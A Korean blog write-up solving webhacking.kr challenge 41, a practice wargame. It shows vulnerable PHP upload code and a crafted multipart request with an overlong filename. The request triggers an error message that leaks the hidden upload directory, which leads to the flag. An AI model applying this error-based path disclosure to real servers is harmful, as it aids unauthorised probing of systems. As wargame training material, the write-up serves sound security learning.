<?php
  include "../../config.php";
  include "./inc.php";
  if($_GET['view_source']) view_source();
  error_reporting(E_ALL);
  ini_set("display_errors", 1);
?><html>
<head>
<title>Challenge 41</title>
</head>
<body>
<?php
  if(isset($_FILES['up']) && $_FILES['up']){
    $fn = $_FILES['up']['name'];
    $fn = str_replace(".","",$fn);
    $fn = str_replace("<","",$fn);
    $fn = str_replace(">","",$fn);
    $fn = str_replace("/","",$fn);

    $cp = $_FILES['up']['tmp_name'];
    copy($cp,"./{$upload_dir}/{$fn}");
    $f = @fopen("./{$upload_dir}/{$fn}","w");
    @fwrite($f,$flag);
    @fclose($f);
    echo("Done~");
  }
?>
<form method=post enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>

위의 소스코드를 보면 5번 라인에 Error에 대한 리포트를 출력하는 것을 볼 수 있습니다.

또한 flag 값은 우리가 업로드한 파일 이름으로 작성되는 것을 확인할 수 있습니다.

그런데, 우리가 업로드한 파일은 특정 $upload_dir에 있는 것으로 확인되었는데, 이 디렉토리는 알려주지 않습니다.


그러면 고의적으로 5번 라인에서 발생하는 에러를 통해 에러 메시지에서부터 어느정도 정보를 얻을 수 있을 것 같습니다.

에러를 발생시키기 위해서는 적절하지 않은 입력만큼 좋은 것이 없겠죠!


upload시 filename에 입력할 수 있는 최대 이름의 길이를 알아내보았는데, 파일 이름의 최대 길이를 알아내보니 다음과 같습니다.

뭐 일단 위와 같이 255 길이라고 하니 파일 이름을 엄청 길게 입력해보았습니다.


------WebKitFormBoundaryY1Y6GBYxaviuw2QG

Content-Disposition: form-data; name="up"; filename="kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file"

Content-Type: application/octet-stream


------WebKitFormBoundaryY1Y6GBYxaviuw2QG--


업로드 패킷은 위와 같이 전송되었습니다.

파일 이름 길이는 몇일지는 모르지만 엄청 길게 해보았습니다.


그랬더니 다음과 같은 Response가 날아왔습니다.

<html>
<head>
<title>Challenge 41</title>
</head>
<body>
<br />
<b>Warning</b>:  copy(./4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file): failed to open stream: File name too long in <b>/var/www/html/challenge/web-19/index.php</b> on line <b>21</b><br />
Done~<form method=post enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>


위와 같이 업로드 경로가 나왔습니다.

이제 여기에 업로드한 파일 이름으로 들어가보도록 하면, 플래그가 입력되어 있을 것입니다.

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06

+ Recent posts